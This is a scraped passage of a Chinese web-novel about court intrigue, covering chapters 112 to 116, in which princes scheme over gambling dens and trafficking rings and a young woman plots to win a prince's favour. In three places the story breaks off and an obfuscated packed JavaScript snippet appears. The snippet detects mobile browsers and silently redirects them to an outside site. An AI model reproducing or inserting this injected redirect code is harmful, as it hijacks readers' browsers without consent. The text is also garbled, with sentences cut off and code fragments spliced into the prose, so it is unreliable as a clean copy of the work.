姜天泽将她领到后院一间小屋前,屋内堆满了干草,草上散落着许多椭圆形的白色蛋。 “这是什么蛋?”夏嫣好奇地问。 姜天泽唇角微微上扬,露出一抹意味深长的笑意:“这啊,是蛇蛋!” “蛇……”夏嫣顿时头皮发麻,声音都有些发紧,“这么多蛇蛋,难道你说的宠物是……” “没错,夏嫣姐,我平日里没什么特别的爱好。”姜天泽一边说着,一边走到一个竹筐旁,掀开盖子,陡然从里面取出几条色彩斑斓的蛇。 他笑意盈盈地看向夏嫣,手中的蛇在他指间疯狂扭动,吐着猩红的信子,“我最喜欢的就是养各种蛇!” 夏嫣被这恐怖一幕吓得尖叫一声,撒腿就跑。 她慌不择路地逃回翠竹院,脸色煞白,上气不接下气地对姜姝宁喊道:“你三弟他、他……” 姜姝宁心头一紧,忙追问:“他怎么了?” “他在后院养毒蛇!”夏嫣声音发颤,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620133|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中尽是惊恐。 “什么?”姜姝宁大吃一惊,万万没想到姜天泽所谓的“宠物”,竟然是蛇! 就在这时,姜天泽慢悠悠地走了过来。 夏嫣一见到他便吓得魂飞魄散,立马躲到姜姝宁身后,生怕他会冷不丁掏出一把蛇来! 姜姝宁沉下脸,质问道:“天泽,这到底是怎么回事?你怎能在后院养毒蛇?” 姜天泽神色无辜,语气轻柔地解释:“大姐姐、夏嫣姐,我的确在后院养蛇,但那些蛇都已去除毒腺,连毒牙也被我拔掉了,绝对伤不了人的!” 听到这话,夏嫣非但没安心,反而更加毛骨悚然。 他不仅养蛇,还除去毒蛇的毒腺和毒牙,这少年心性如此森冷诡异,简直令人不寒而栗! “姝宁,我还是先回去吧,改日再来看你……”夏嫣声音发抖,心有余悸。 姜姝宁见她被吓得不轻,忙挽留道:“水饺我都煮好了,不如你吃完再走吧!” 姜天泽摸了摸肚子,笑得一脸无害:“大姐姐这么一说,我也觉得饿了。” 他笑容纯净,仿佛方才那令人胆寒的一幕与他毫无干系,夏嫣却怎么也无法将眼前的少年与那个一把抓起斑斓毒蛇的人重叠在一起。 他一直都是这般表里不一的吗? 转头对上挚友满是歉意又带着期盼的眼神,夏嫣只得硬着头皮答应:“好吧,那我吃完饺子就走。” 很快,姜姝宁命人将煎好的和煮好的饺子端上桌来。 姜天泽夹起一个煎饺,蘸着辣酱尝了一口,立马赞不绝口:“大姐姐的厨艺真是绝了,我从未吃过如此美味的饺子!” 夏嫣强压着不适,用勺子舀起一颗水饺,刚要送到嘴边,姜天泽却忽然开口,语气随意:“这水饺包得真好,皮薄馅足,个头看着跟蛇蛋似的!” 此言一出,夏嫣脑海中瞬间浮现出后院那密密麻麻的蛇蛋,以及姜天泽手中蠕动的五彩毒蛇…… “呕!”她再也忍不住,胃里一阵翻涌,直接吐了出来。 “夏嫣!”姜姝宁大惊失色,赶忙拿帕子帮她擦拭,“你没事吧?” “姝宁,我得走了!”夏嫣强忍着不适站起身,脸色难看至极,“我肠胃不舒服,今日怕是无福享用你的手艺了。” 第112章 城府深沉 第一百一十二章城府深沉 见好友这副模样,姜姝宁心疼不已。 她亲自将夏嫣送到门口,满脸歉意:“夏嫣,实在是抱歉,我本想撮合你和三弟,没想到他如此不靠谱,竟带你去看他养的蛇,还把你吓成这般模样……” 夏嫣扯了扯嘴角,露出一抹比哭还难看的笑意:“若非你我自小一起长大的情分,我还以为你故意坑我呢!你是怎么想的?你三弟性情如此古怪,谁敢与他谈婚论嫁啊?” “可他平日里并非如此。是我的错,他之前确实提过养蛇当宠物,我没想到你会怕成这样。”姜姝宁说着挽起袖子,露出缠在手腕上的小白蛇,“你看,这是他送我的。这小白蛇原本也有毒,但他亲手清除了毒腺,如今一点儿也不伤人。” 夏嫣低头瞧了瞧她腕间这条毫无威胁、甚至有些可爱的小蛇,无奈地叹了口气:“若他给我看的也是这种小蛇,我还不至于吓成这样。可他偏偏拿出的,是五颜六色、每条都至少两指粗的大蛇,还是一把抓了好几条,它们在他手中疯狂扭动……想想都让人头皮发麻!我猜知道你想撮合我们,故意吓我的,想让我知难而退。” “不会的,三弟是同意我撮合的,他还说会尽力赢得你的好感!”姜姝宁连忙道。 这话一出,夏嫣愈发脊背发凉。 “可见他心口不一!姝宁,我并非有意贬低你三弟,但不得不提醒你一句,他看似温润无害,实则内心阴暗,城府极深,你可千万要多留个心眼!” 姜姝宁一愣,随即皱眉道:“不至于吧,他不过是个十六岁的少年,城府能深到哪里去?” “但愿是我多虑了。”夏嫣拉着她的手,语气中带着几分嗔怪,“你呀,干嘛非要乱点鸳鸯谱?” “我看你整日郁郁寡欢,心里难受嘛!那二皇子有什么好,不过是个舞刀弄枪的莽夫,他没看到你的好,是他没眼光!”姜姝宁愤愤不平。 夏嫣笑了笑,似是有些被安慰到:“谢谢你,姝宁。其实我已经放下了。我的确心悦于他,但他并无义务回应我的心意。感情的事,本来就没有公开可言。” “你真的放下二皇子了?”姜姝宁眼睛一亮,继而有些惋惜道,“早知如此,我就不把浩力送给他了!” 她原是担心二皇子如前世那样在南月之战中殒命,夏嫣会因此伤心出家,才将浩力送去护他周全的。 如今夏嫣既已释怀,浩力这么个天生神力的可造之材,岂不是白白便宜了二皇子! 夏嫣也忍不住笑了:“可不是嘛,早知道就该把浩力给我爹!有此良将相助,他定能在战场上为大邺多夺几座城池!” 两人相视而笑,方才因毒蛇事件引发的阴霾一扫而空。 送夏嫣上马车后,姜姝宁这才回到翠竹院。 姜天泽迎上前,关切地问:“大姐姐,夏嫣姐她没事吧?” 见到他,姜姝宁不由得想起夏嫣临走前的提醒,顿时脸色一沉,语气中带着几分审视:“天泽,我问你,你是不是不想与夏嫣谈婚论嫁,所以才故意用毒蛇吓她?若你不喜欢她,大可直言相告,不该用这种极端的方式让她退却。” 姜天泽眼底闪过一丝慌乱,忙解释道:“大姐姐,天泽绝非有意吓唬夏嫣姐。我只是想着,若将来真要与她结为连理,总该让她了解我的喜好,这才带她去看我养的蛇。谁知竟会把她吓成那样,我实属无心。” 姜姝宁哭笑不得:“哪有姑娘家会喜欢毒蛇?还有,你从未与我提过,你养了那么多蛇,甚至徒手除去它们的毒腺和毒牙。你究竟为何要做这些事?” 一个十六岁的少年竟有如此诡异的喜好和技能,简直让人匪夷所思。 以后有哪个女子敢嫁给他当姜家主母啊? 姜天泽眼神微黯,低声解释道:“大姐姐有所不知,这些年我们在徐州过得极苦。父亲年轻时是个纨绔,将母亲赎身后,早已散尽家财。母亲听说徐州有人高价收购毒蛇毒腺制药,为了生计,便学着去山林抓蛇,慢慢练就了取毒腺和拔毒牙的本事。 那些蛇失了毒腺和毒牙,若回到野外必死无疑,母亲便将它们养在竹筐里。我自幼便是与这些蛇一同长大,它们身上有鲜艳的纹理,在旁人眼里或许可怖,但我却觉得它们很美,也乐意抓虫子、喂老鼠给它们吃。” 说起过往,姜天泽那双好看的丹凤眼里泛起一丝柔光,似有无尽感慨。 姜姝宁听完,心中也不免动容。 她从小锦衣玉食,没想到在徐州的堂弟一家竟过得如此艰难。 三婶一个柔弱女子,竟为了生计学会抓蛇、除毒腺和毒牙的本领。 姜天泽幼年与毒蛇为伴的日子,该是何等艰辛? “是大姐 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“无法张扬,还不能用其他法子吗?”萧修湛脸色阴沉,“赌场里就加大赌注,逼那些赌徒多掏银子。至于人牙买卖,本就是无本万利的生意,只要能多抓些姑娘,还愁没有买家?这些,还需我手把手教你们吗?” “是!”随从忙应道,“小的这就去吩咐各地赌场和人牙行,加紧筹措银两!” 几日后,凌风快步走进萧凌川的书房,禀报道:“殿下,我们的眼线查到,三皇子麾下的地下赌场近日正蛊惑赌客加大赌注,甚至不择手段地在京城周边几座都城公然拐骗、抢掠少女,将她们卖入京中青楼和富贵人家后院为禁脔,手段阴狠狠辣,可谓丧尽天良!” 萧凌川脸色骤然阴沉,眼中闪过一抹冷芒:“加紧收集证据,将此事上禀大理寺卿!” 凌风一怔,迟疑道:“殿下,属下得知,这些地下赌场和人牙行当并无直接证据指向三皇子。若大理寺贸然取缔,岂不是毁了能证明他罪行的线索?” “我早料到他会留后手,行事谨慎。”萧凌川冷哼一声,唇角却勾起一抹志在必得的弧度,“不过无妨,只要将那些替他办事的关键人物活捉,重刑逼供,不怕撬不开他们的嘴。况且,他此番行事如此张狂,等于将所有脏事都摊在了明面上。等大理寺一举取缔,他的财路便彻底断绝。到时,我倒要看看,他还拿什么供养那群西榆私兵!” “是,殿下!”凌风恭敬领命,退了下去。 第113章 从不做亏本买卖 第一百一十三章从不做亏本买卖 此时,一直沉默不语的萧琪钰开口了,语气中带着几分揶揄:“四哥当真是为了断三哥的财路,才急着收集证据交给大理寺?我怎么觉得,四哥是听进了嫂嫂的恳求,怕百姓受苦,这才提前收网的?” 萧凌川端起茶杯,轻啜了一口,漫不经心地回应道:“连你也觉得我这步棋走得太早了?” “不,恰恰相反,我很佩服四哥的决断。虽无法一举将三哥彻底扳倒,但却护住了无辜百姓。那些赌徒尚且咎由自取,可被拐骗和掳走的少女何其无辜?此事自然是宜早不宜迟。”他郑重起身,朝萧凌川深深一礼,“四哥如今行事,愈发有帝王气度了。” “少来!阿谀奉承!坐下喝茶!”萧凌川嘴上虽如此说,眉眼间却染上了几分笑意。 萧琪钰坐下后,立马换上轻松的语气调侃道:“若嫂嫂知晓四哥如此为百姓着想,定会满心欢喜!自从嫂嫂出现后,四哥你行事可是越来越有人情味了!” “怎么,我从前很冷酷无情吗?”萧凌川挑眉反问。 “那可不!不仅冷酷无情,还不择手段!”萧琪钰笑着摇头,“我从前常想,你与三哥区别不大,无非看谁更强一些,谁就能成为大邺未来的帝王!” “那如今呢?”萧凌川语气淡淡,目光却紧盯着他不放。 “如今嘛,单凭你为百姓着想这一桩事,就已远胜三哥!”萧琪钰正色道,“三哥这般损人不利己,甚至勾结外敌,根本不配成为大邺的帝皇!” 萧凌川闻言,握着茶杯的手指微微收紧。 他垂下眼眸,掩去眼底一闪而过的复杂情绪。 —— 萧修湛敛财心切,命人将地下赌场的赌注大幅提高,此举直接让不少世家子弟深陷泥潭,负债累累。 其中便有张尚书之子张霖。 张霖本是与友人一同前往赌场“开开眼界”,不曾想在旁人怂恿下下注,竟一发不可收拾,沉迷其中。 待他离开赌场时,已欠下千两巨额赌债。 得知儿子背负如此重债,张尚书怒不可遏,径直将此事告到了大理寺。 京城严禁经营赌场,此乃先帝在世时便定下的铁律,如今知法犯法,自是大理寺所不容。 大理寺当即派人雷霆出击,将那家赌场一举取缔。 赌场内虽有打手护卫,但如何敌得过训练有素的吏卒? 不过几个回合,便被尽数拿下。 此事宛如撕开了一道裂口,消息传开后,其他欠债的赌徒心头一动,纷纷起了念头。 萧凌川的手下趁势大肆宣扬:只要主动提供地下赌场的线索,一旦赌场被取缔,赌徒所欠之债便可一笔勾销。 此言一出,赌徒们争先恐后地将京城内藏匿的地下赌场位置告知收集线索之人。 不出三日,所有地下赌场的地点便被整理成一份详尽文书,送至大理寺卿手中。 大理寺卿接过文书,对前来送线索的凌风郑重一礼:“还请大人代为转告四皇子殿下,感谢他鼎力支持在下公务!” 凌风拱手回礼,沉声道:“大理寺卿言重了。殿下身为大邺皇子,自当为百姓尽一份力,铲除这害人的地下赌场! 殿下还曾言,先帝之所以严禁京城开设赌场,正是深知赌场之害,盼有朝一日大邺境内能彻底杜绝此风。而殿下作为先帝皇孙,定不会辜负先帝与陛下的期望!” “四皇子殿下英明!”大理寺卿由衷称赞,眼中尽是敬佩之色。 取缔地下赌场一事进展颇为顺利,只是结果让大理寺卿震惊不已,没想到天子脚下竟暗藏如此之多的赌场,简直触目惊心。 御书房里,皇帝得知此事,龙颜大怒:“竟敢在朕的眼皮底下开设赌场,这些无良商人胆大包天!传朕的旨意,将他们全部杀无赦!” “陛下,臣有一言,不知当讲不当讲。”大理寺卿躬身道,语气谨慎。 “爱卿但说无妨。”皇帝沉声道。 “陛下,这地下赌场乃京城禁忌,寻常商人虽逐利,却断无此胆量,敢公然知法犯法。”大理寺卿顿了顿,声音压低,“臣斗胆猜测,他们背后定有 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“话虽如此,但你就不担心萧凌川将来若登基为帝,你与他争姜姑娘会更为艰难吗?”荣贵妃语气稍重,提醒道,“若他真成了大邺的皇帝,这天下女子,可尽归他所有!” 萧怀瑾闻言,脸色微微一沉,眸中闪过一丝冷意。 “既然如此,那便以崔家的支持,换我与姜姑娘的一纸婚书。若四哥一心醉于权势和天下,他自会与我做这交易!” 荣贵妃闻言,笑意盈盈地轻啜一口茶:“好,就依你所言。凡是你想要的,本宫和你外祖父定会倾力成全。” 萧怀瑾脸上这才浮现出一抹笑意,低声道:“谢母妃!” 荣贵妃眼中笑意更深。 她的儿子,即便无缘皇位,也该拥有这世上所有的美好,包括他心心念念的那位相府嫡长女。 萧凌川想要登上皇位,不付出些代价又怎么行呢? 他们商人,从不做亏本买卖。 第114章 断了财路 第一百一十四章断了财路 大理寺刚取缔完京城遍布的赌坊与赌场,萧凌川的手下便雷厉风行,将京城周边都城中拐骗和掠夺年轻女子的牙行爪牙尽数抓获。 凌风向大理寺卿恭敬行礼,沉声禀报:“这些牙行爪牙专挑孤身一人的年轻女子下手,甚至闯入家境贫寒的农户家中强行抢人,手段如同强盗。被掳走或拐骗的女子,皆被卖入京城,有的沦为青楼女支子,有的被送往权贵之家为妾。恳请大理寺卿彻查此事,还无辜女子及其家人一个公道!” 大理寺卿听闻此言,震惊不已,立即下令将这些爪牙押入大牢严刑拷问,果然逼供出幕后乃是潜伏在京城的牙行所为。 随即查证,春香楼中确实有不少未签**契的女子被逼良为娼。 在酷刑之下,牙行负责人只能供出女子们的去向,其中竟牵涉不少世家贵族。 此事牵连甚广,波及众多门阀,大理寺卿不敢擅专,只得将详情上奏,交由皇帝定夺。 “被掳女子多为良家出身,不少世家贵族将其买去为贵妾,其中甚至包括宫中娘娘们的母族……”大理寺卿小心翼翼地观察皇帝神色,斟酌着问道,“陛下,是否要继续深查?” 皇帝膝下不过七位皇子,其中两位皇子的母族竟牵涉此事,若被朝臣知晓,只怕御史台又要口诛笔伐,骂声一片。 “世家门阀与皇室关系错综复杂,利益牵扯甚深,若追查过甚,恐令朕的皇儿们颜面尽失,难以立足。”皇帝思忖片刻后道,“将那些女子放归原籍,责令涉事门阀缴纳重金,作为对无辜女子的赔偿。此事不可声张,以免生乱。” “是,陛下!”大理寺卿应声,眼底闪过一丝不甘,却只能强自压下。 待他退下后,皇帝脸上浮现一抹冷嘲之色。 门阀近来行事猖狂,他早有意寻个机会加以遏制。 没想到,大理寺竟送来如此良机。 皇室与门阀之间关系微妙,他需掌控局面,却不能一举将其打压到底,毕竟身为一国之君,要坐稳这皇位少不了门阀的支持。 因此,对这买卖被掳少女之事,他需施以惩戒,但惩戒不可过重,以免门阀生出异心,与皇室离心离德。 景和宫内,萧琪钰满脸愤懑。 “那些世家贵族竟敢公然买卖掳来的少女,知法犯法,父皇却对此事轻描淡写,只令门阀赔些银钱了事。难道地下赌场因触及门阀利益便被雷霆手段取缔,而买卖无辜少女牵涉门阀污秽,就被刻意压下,不予声张?如此行事,如何能让文武百官和天下百姓心服口服?” 萧凌川对皇帝的做法却并不意外,淡淡道:“你忘了父皇当初是如何登上皇位的?若非世家门阀鼎力相助,他名不正言不顺,哪有资格成为大邺国君?如今自然不敢轻易得罪门阀,以免动摇这来之不易的皇位根基。” “今日包庇这个,明日妥协那个,这大邺究竟是皇家的天下,还是门阀的江山?”萧琪钰依旧怒气难平,眉头紧锁。 “七弟不必动气,眼下我们已将萧修湛敛财的路子尽数掐断,接下来就看他如何自处吧。”萧凌川懒洋洋地倚靠在椅背上,语气中透着一丝冷嘲。 听到这话,萧琪钰脸上总算浮现出一抹笑意:“四哥说得是,他还不起那些封赏银钱,自顾不暇,我倒要看看,他还如何往西榆那边输送粮草!” 萧凌川神色转而阴沉,眸中闪过一丝寒意。 此前,他曾派人试图拦截萧修湛运往西榆的粮草,怎料镇国公早有准备,竟将粮草伪装成供给西榆边关大邺士兵之用,还备齐了相关文书,滴水不漏。 他无法扣押这些粮草,只能眼睁睁看着它们落入西榆,成为萧修湛豢养私兵的养分。 有镇国公一直在为自家外甥撑腰打掩护,又无确凿通敌证据,他根本无法一举将萧修湛扳倒。 不过,如今断了萧修湛的财路,相信不出多久,他定会自乱阵脚,现出原形! —— 萧修湛跌跌撞撞冲进熙贵妃的寝殿,脸色苍白,语气惊慌:“母妃,救我!” 熙贵妃连忙扶住他,眉头微皱:“何事如此失态?” “儿臣的地下赌场和人牙行当,尽数被大理寺取缔了!”萧修湛哭丧脸道。 熙贵妃闻言,神色一紧:“他们发现你是幕后之人了?” “不,还没有!只是儿臣本想靠这些渠道筹集银两,尽快还清父皇的封赏,如今财路被断,叫 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皇帝略感意外,带着几分试探之意道:“朕原以为一月时限太过紧迫,你未必能及时归还。” “父皇说笑了,这些封赏儿臣并未动用多少,都妥善存于府中库内,怎会归还不了?”萧修湛语气从容,“西征剿匪一事,儿臣确实办理不妥,致使顾亦庭命丧黄泉,险些令顾御史与父皇离心。这封赏本就受之有愧,如今归还,儿臣心中反倒坦然。” 皇帝听罢,面露欣慰之色,颔首道:“你若真能有此觉悟,朕便放心了。朕的湛儿,果然长大了。” “父皇,儿臣还有一事,恳请父皇恩准。”萧修湛趁势说道。 “何事?说来听听。” “儿臣与姜家次嫡女两情相悦,婚约早已定下。儿臣不愿让她久等,欲将婚事提前至下月,还望父皇成全。” 皇帝闻言,朗声大笑:“好小子,既然你急着抱得美人归,朕怎能让你多等?此事,朕准了!” “儿臣谢父皇恩典!”萧修湛忙拜谢,脸上难掩喜色。 如此一来,他母妃内库的账目便能早日理清了。 第115章 被轻易原谅 第一百一十五章被轻易原谅 萧修湛欲早日成婚之事刚在朝堂上被皇帝提及,顾御史便立即站出,直言太子身为三皇子之兄长,又是大邺储君,婚事自当优先操办。 此言一出,太子的支持者纷纷附和。 皇帝亦觉有理,反正太子与顾家嫡女的婚约早已定下,提前筹办婚事也并无不妥。 于是,他当即下旨,先行操办太子的婚礼。 原本萧修湛母子计划借操办婚事的由头,填补内库账面上的亏空,表面上给姜家丰厚的聘礼、赠姜瑶真贵重的礼物,实则以次充好,再好言安抚姜家,将此事敷衍过去。 不料皇帝却突然决定优先置办太子的婚事。 这顾家可不是好糊弄的对象,若被顾御史揪住不放,内库银两被挪用之事恐难瞒过皇帝耳目。 一旦牵扯到封赏银钱的去向,那真是纸包不住火,彻底藏不住了。 萧修湛急得焦头烂额,忍不住对熙贵妃道:“母妃,这可如何是好?内库里根本没有足够的银两,如何操办我和太子两人的婚事啊!” 熙贵妃神色沉重,低声安抚道:“此事你无需忧心,母妃自会为你筹谋。只是到时需你配合一二。” “只要母妃能助儿臣渡过此劫,儿臣定当听从母妃安排!”萧修湛忙不迭应下。 熙贵妃欣慰一笑:“我儿将来必是大邺国君,荣华富贵尽在掌中,眼下不过暂受困顿罢了。放心,母妃不会让你为难,所托之事也并非难为你的,届时你只管照做便是。” 太子成婚的圣旨一颁布,姜瑶真便迫不及待地在姜姝宁面前炫耀:“姐姐,你可知三皇子殿下为早日迎我入门,特意向陛下请了圣旨?谁料顾御史以太子为储君之名横插一脚,这才让他先行婚事。说起来,晚樱姐姐能早日嫁入东宫,还得感谢我的功劳呢!” 姜姝宁还未来得及回应,身后便传来一道满是嘲讽的声音:“如此说来,我还真得谢谢瑶真妹妹了!” 姜瑶真与姜姝宁转身一看,只见顾晚樱款款而来,脸上挂着几分讥讽的笑意。 “晚樱,你怎么来了?”姜姝宁略显惊讶。 自从上次马球场上的一场比赛,两人冰释前嫌,关系比以往亲近许多。 同样是失去兄长庇护、不得不独自坚强的她们,彼此间生出了几分惺惺相惜。 顾晚樱笑盈盈道:“下月我便要嫁入东宫,往后怕是难与你相见,特意来瞧瞧你,顺道一起逛逛街市!” 姜瑶真见两人言谈甚欢,心中嫉恨,忍不住阴阳怪气道:“晚樱姐姐无需担忧,我姐姐常往宫里跑,到时你们定能常见面!” 顾晚樱闻言,冷冷瞥了她一眼,语气中难掩嘲讽:“可不是嘛。等你出嫁后,也依旧住在宫中,咱们三人倒是能常聚一聚了!” 她话中暗指萧修湛被剥夺封号,依旧只是皇子,按大邺律法无封号便无府邸,只能继续居于宫内。 姜瑶真听出她话里的讥讽,那张娇艳的脸蛋都气得扭曲了,跺脚愤然离去。 望着她气急败坏离去的背影,顾晚樱忍不住冷哼一声:“姝宁,你这妹妹也太自以为是了。不就是成亲嘛,至于这般耀武扬威吗?” 姜姝宁淡然一笑:“由她去吧,毕竟她此生只有这一场婚事,自然格外看重。” 不像三皇子,此生怕是要成婚多次,怎会如她这般在意? 前世姜瑶真嫁入瑞王府后,萧修湛接连纳了诸多姬妾,甚至还娶了一名商家女为侧妃,与她平起平坐,气得她多次回府哭诉。 如今想来,前世她成婚后主动勾搭萧凌川,恐怕也是在萧修湛处受了冷落,才想从倾慕自己的其他男子身上找些安慰。 顾晚樱的声音将姜姝宁的思绪拉了回来:“姝宁,你可听说了?京城的地下赌场尽数被取缔,连周边都城的非法牙行也被一网打尽了。” 姜姝宁微微颔首:“略有耳闻。这真是件大快人心之事。” “我听父亲说,此次大理寺能如此迅速破案,全靠四皇子殿下的功劳。他提供的线索详尽无遗,助大理寺一举破获此案!之前他举荐我兄长西征剿匪,我心中对他颇有怨言,但此番作为利国利民,我对他的看法倒是改观了几分。” 姜姝宁亦有感触:“我亦是如此。” 她本以为萧凌川会一直隐忍不发,待揪出萧修湛作为地下赌场与人牙行幕后主使的确凿证据后,才将这两个祸害百姓的行当公之于众,一举将萧修湛扳倒。 不曾想,他竟主动将线索交予大理寺,提前协助铲除这两大毒瘤,甚至不惜错失将萧修湛彻底击垮的机会。 今生的萧凌川,行事风格的确与前世大不相同。 顾晚樱握住她的手,语气恳切:“姝宁,我反复思量过兄长之死一事。四皇子确实因嫉恨我兄长向你提亲,才举荐他西征剿匪,但真正害死我兄长的另有其人,我不能将所有过错都归咎于他。希望你不要受我影响,对四皇子心生偏见。” 姜姝宁微微一笑,安慰道:“放心,我自有判断,不会轻易被左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629285|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那就好!”顾晚樱松了口气,迟疑片刻,又有些欲言又止地开口,“姝宁,四皇子虽行事偏激,手段也不算光明磊落,但此次作为可见他心系国与民。皇室有这样的皇子,实乃大邺之福。或许,你也该对他稍作改观,不必拒绝得那般决绝。” 姜姝宁心中苦笑,萧凌川此举的确受益匪浅,竟连顾晚樱都愿放下对他的芥蒂,转而劝自己接纳他的情意。 皇家人纵使过去犯下诸多错事,只需做成一件好事,便能让人刮目相看,甚至赞不绝口。 身居高位之人,总是能被轻易原谅。 送走顾晚樱后,姜姝宁脑想起自己的三妹姜莲。 地下赌场既已被取缔,想必二叔的债务已清,应该不会再想着将姜莲卖了吧? 但赌瘾易染不易戒,难保二叔以后不会继续沉迷**,又萌生了将女儿卖掉抵债的念头。 想到此处,她对凌芜吩咐道:“你去寻管家,问问二叔在京城的住处地址,我想亲自登门一趟。” 凌芜有些犹豫:“可姜二爷至今对您仍有芥蒂……” “无妨,我主要是想见见三妹。” 姜莲只比她小一岁,正是二八芳华,又是姜家血脉,她实在不忍心看她误入歧途。 有些话,还是当面叮嘱一二为好。 不多时,凌芜便拿来了地址,主仆二人乘马车前往姜二爷所在的宅邸。 姜二爷的宅邸位于京城城郊一带,占地不大,开门的是姜二夫人,可见府中并无多余的下人。 京城花费高,开销大,他们又没有谋生来源,即便得了相府一半家产,也很快会被消耗殆尽。 见她到来,姜二爷和姜二夫人都面露不悦:“你来做什么?” “我是来见三妹的。”姜姝宁开门见山道。 “她不在府中,你走吧!”姜二爷冷着脸下了逐客令,“往后别再踏足我们家门!” 姜姝宁冷声道:“我本无意与二叔多纠缠,但有句话不得不提。虽说京城的地下赌场已被大理寺取缔,可若二叔继续沉迷赌局,终将落得妻离子散的下场。还望二叔多为莲儿着想,别再如此糊涂!” “谁沉迷**,谁糊涂了?”姜二爷一副被冤枉的怒容,“你莫要信口开河,胡言乱语!二爷我从不沾赌!” 姜二夫人也连忙附和:“姝宁,你怎能随意污蔑你二叔?你二叔从不碰那等恶**!” 姜姝宁眉心微动,心中一沉。 姜莲,竟骗了她? 第116章 最是无情帝王家 第一百一十六章最是无情帝王家 姜姝宁离开二叔宅邸时,恰巧在路口遇见了归家的姜莲。 姜莲依旧是那副刻意模仿她的妆容与穿着,见到她时明显一怔:“大姐姐,你怎么来了?” 姜姝宁神色微沉:“我本是想劝二叔莫再沉迷赌局,以免连累了你。谁知他却说自己从不沾赌。三妹,那日在来福酒楼,你为何要骗我?” 姜莲见事情败露,索性破罐破摔,语气中满是酸涩:“大姐姐被众多皇子追捧,自然不懂莲儿的苦楚。我出身平凡,想要嫁入高门难如登天。若能借这张与大姐姐有几分相似的脸,赢得皇子青睐,哪怕只是为奴为妾,也比嫁入寻常人家强!” 姜姝宁冷笑起来:“所以,为了让我帮你,竟不惜编造谎言,骗我说二叔欠下巨额赌债,要将你卖掉?莲儿,你怎能如此利用至亲?” 姜莲眼眶泛红,泫然欲泣:“大姐姐,我实在走投无路了!我想得到四皇子殿下的青睐,才想着把自己说得可怜些,或许你会心软,助我一臂之力。” 姜姝宁叹了口气:“四皇子殿下名声虽不佳,却并非好色之徒,你真是找错了人。” 前世萧凌川虽重欲,对云雨之事尤为热衷,床笫间更是花样百出,可他从不纳妾。 即便有人巴结,送来美人姬妾,他也一概拒之门外,悉数退回。 曾有一官员自作聪明,寻了个与姜瑶真七八分相似的美人,欲讨他欢心,结果反倒激怒了他。 他不仅将那官员驱逐,还以贿赂之罪革了他的官职。 萧凌川这人心如磐石,绝非美色所能动摇。 想要勾引他,简直自讨苦吃。 姜莲听后,颇有些自暴自弃:“都说皇子身边姬妾成群,怎的四皇子如此与众不同?” “姬妾成群的只有三皇子,其他皇子尚未娶妻纳妾。三妹,别再将心思放在皇子身上,还是找个好人家定亲吧!”姜姝宁苦口婆心劝道。 姜莲表面似是听进去了,心中却暗自思忖:原来三皇子才是唯一会对美色动心之人。 若是努力一番,说不定有机会攀上高枝。 回程的马车上,凌芜忍不住开口:“大小姐,我看三小姐根本没把您的话放在心上。” 姜姝宁轻叹一声,语气中透着几分无奈:“我能做的只有提醒。若她执意往火坑里跳,我也无能为力。有些人,不撞南墙是不会死心的。” 她似是有些疲惫,靠在马车上缓缓阖上眼眸。 即便重生一世,她仍有许多无能为力之事。 譬如兄长的死,萧凌川那令人窒息的占有欲,以及姜莲那些不切实际的痴心妄想。 原本,今生她只想远远避开萧凌川,寻一个情投意合的良人,平淡度过此生。 可如今,为了给兄长报仇,她不得不与萧凌川虚与委蛇,时刻忍受被他虎视眈眈、视作囊中之物的不安。 如今她自顾不暇,又哪有余力去干涉姜莲的选择? 姜莲其实是有些手艺在身上的。 无论是何种首饰,只要经她一番摆弄,稍加点缀装饰,便能变得格外精致。 若有些材料她手头没有,便会绣出样图,拿去银楼给掌柜过目。 掌柜见她设计的首饰卖得极好,便允她每日来银楼,用些零碎材料打造新样式。 因此,姜莲不仅在银楼赚了些工钱,还顺道打听到不少关于达官贵人的消息。 这日,她无意间听闻有人订购上等簪子,据说是三皇子要送给春香楼的头牌红缨。 采买之人是春香楼的老鸨,据她所说,三皇子最钟爱独特的女子,或是身带幽香,或是舞姿歌喉出众。 若能入他的眼,不仅能被捧为头牌,还能享尽锦衣玉食。 姜莲听后,心头一动。 她既无天生体香,也不会歌舞,但她不愿错过这个机会,决心放手一搏,为自己争个衣食无忧的未来。 她主动找到老鸨,直言自己想去春香楼争当头牌。 老鸨上下打量她一番,语气中带着几分轻慢:“模样倒是清秀,可你有何特长?” 姜莲面颊微红,低声道:“你只管告诉三皇子殿下,我一旦身子受热,肌肤便会绽出花来。” 老鸨似笑非笑:“真有此事,还是诓人的?” 姜莲悄悄塞了一块银子到老鸨手中:“还请老鸨给我一个面见三皇子的机会,至于能否成事,全凭莲儿自己的造化!” 前些日子春香楼因非法买入掳来的姑娘被大理寺查封,生意一落千丈,如今才重新开张不久,正缺新面孔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 